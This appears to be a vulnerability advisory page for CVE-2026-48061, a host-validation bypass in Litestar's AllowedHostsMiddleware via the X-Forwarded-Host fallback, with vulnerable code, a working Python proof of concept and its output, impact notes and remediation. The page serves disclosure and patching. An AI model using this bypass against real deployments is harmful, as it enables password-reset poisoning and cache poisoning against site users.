Skip to main content

Litestar CVE-2026-48061

MEDIUM
Use of Less Trusted Source (CWE-348)
2026-06-10 https://github.com/litestar-org/litestar GHSA-3qmc-cj7q-62hv
5.9
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.9 MEDIUM
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 10, 2026 - 19:33 vuln.today
Analysis Generated
Jun 10, 2026 - 19:33 vuln.today

DescriptionGitHub Advisory

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

python
headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

  • Generating password reset links (Host header injection → link points to attacker domain)
  • Cache key generation (cache poisoning)
  • Routing or backend selection decisions

PoC

python
"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)
# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")
# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
# No "host" header - only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced

AnalysisAI

Host validation bypass in Litestar's AllowedHostsMiddleware allows unauthenticated remote attackers to circumvent the allowed-hosts allowlist by omitting the HTTP Host header and substituting a client-controlled X-Forwarded-Host header set to any whitelisted domain. Affected are all Litestar deployments (pip/litestar < 2.22.0) using AllowedHostsConfig that are reachable without a trusted reverse proxy stripping X-Forwarded-Host - a condition reflected in the CVSS AC:H rating. Publicly available exploit code exists demonstrating the bypass; no CISA KEV listing at time of analysis.

Technical ContextAI

Litestar is a Python ASGI web framework. Its AllowedHostsMiddleware (litestar/middleware/allowed_hosts.py:68) validates the request's hostname against a configured regex allowlist. The root cause maps to CWE-348 (Use of Less Trusted Source): the vulnerable code resolved the host value as headers.get('host', headers.get('x-forwarded-host', '')).split(':')[0], falling back to the X-Forwarded-Host header - a proxy-set, client-controllable header - whenever the Host header was absent. HTTP/1.1 mandates the Host header, but HTTP/1.0 clients, raw TCP connections, and misconfigured proxies may omit it, creating the exploitation window. X-Forwarded-Host carries no trust guarantees without prior proxy-layer enforcement. The fix in commit 6930a20 removes the fallback entirely, changing the lookup to headers.get('host').split(':')[0] so only the standard Host header is evaluated. The affected pip package identifier is pkg:pip/litestar.

RemediationAI

Upgrade to Litestar 2.22.0 or later, which removes the X-Forwarded-Host fallback in AllowedHostsMiddleware (vendor patch commit: https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262; advisory: https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv). If immediate patching is not feasible, configure an upstream reverse proxy (nginx, Caddy, HAProxy) to explicitly strip or overwrite the X-Forwarded-Host header on all inbound client requests before they reach the Litestar process - this prevents the attacker-controlled value from reaching the middleware. Trade-off: stripping X-Forwarded-Host at the proxy will break any application logic that legitimately relies on that header for host forwarding. As an additional layer, block or reject HTTP/1.0 connections at the network edge, since omitting the Host header is most natural with HTTP/1.0 clients; trade-off is potential breakage of legacy integrations. These compensating controls do not fix the code-level trust issue and should not substitute for the 2.22.0 upgrade.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-48061 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy